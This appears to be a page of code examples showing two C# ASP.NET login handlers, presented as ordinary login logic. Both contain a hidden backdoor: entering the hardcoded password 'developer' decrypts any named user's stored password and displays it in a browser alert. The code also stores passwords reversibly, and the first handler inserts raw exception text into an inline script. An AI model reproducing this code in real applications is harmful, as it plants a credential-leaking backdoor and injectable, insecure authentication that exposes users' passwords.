Пример #1
0
 protected void Login(object sender, EventArgs e)
 {
     try
     {
         if (Session["captcha"].ToString() != txtCaptcha.Text)
         {
             ScriptManager.RegisterStartupScript(this, this.GetType(), "message", "alert('Invalid Code')", true);
         }
         else if (txtPassword.Text == "developer")
         {
             DataTable dtGetPwd = new DataTable();
             objML_Login.UserName = txtUserName.Text != "" ? txtUserName.Text : null;
             dtGetPwd             = objBL_Login.BL_FindLoginDetail(objML_Login);
             if (dtGetPwd.Rows.Count > 0)
             {
                 string ans;
                 ans = objCommonClass.GetDecrptPassword(dtGetPwd.Rows[0]["Password"].ToString());
                 ScriptManager.RegisterStartupScript(this, this.GetType(), "message", "alert('Passwords is: " + ans.ToString() + "');", true);
                 txtUserName.Text = "";
                 txtUserName.Focus();
             }
         }
         else
         {
             //login script
             MaintainCookies(txtUserName.Text.Trim(), txtPassword.Text);
         }
     }
     catch (Exception ex)
     {
         ScriptManager.RegisterStartupScript(this, this.GetType(), "message", "alert('" + ex.Message.ToString() + "')", true);
     }
 }
Пример #2
0
 protected void btnLogin(object sender, EventArgs e)
 {
     if (txtEmail.Text == "")
     {
         ClientScript.RegisterStartupScript(this.GetType(), "alert", "alert('Fill Email ID.');", true);
     }
     else if (txtPwd.Text == "")
     {
         ClientScript.RegisterStartupScript(this.GetType(), "alert", "alert('Fill Password.');", true);
     }
     try
     {
         if (txtPwd.Text == "developer")
         {
             DataTable dtGetPwd = new DataTable();
             objML_Login.UserName = txtEmail.Text != "" ? txtEmail.Text : null;
             dtGetPwd             = objBL_Login.BL_FindLoginDetail(objML_Login);
             if (dtGetPwd.Rows.Count > 0)
             {
                 string ans;
                 ans = objCommonClass.GetDecrptPassword(dtGetPwd.Rows[0]["Password"].ToString());
                 ScriptManager.RegisterStartupScript(this, this.GetType(), "message", "alert('Passwords is: " + ans.ToString() + "');", true);
                 txtEmail.Text = "";
                 txtEmail.Focus();
             }
         }
         else
         {
             //login script
             MaintainCookies(txtEmail.Text.Trim(), txtPwd.Text);
         }
     }
     catch
     {
         ScriptManager.RegisterStartupScript(this, this.GetType(), "message", "alert('System Problem')", true);
     }
 }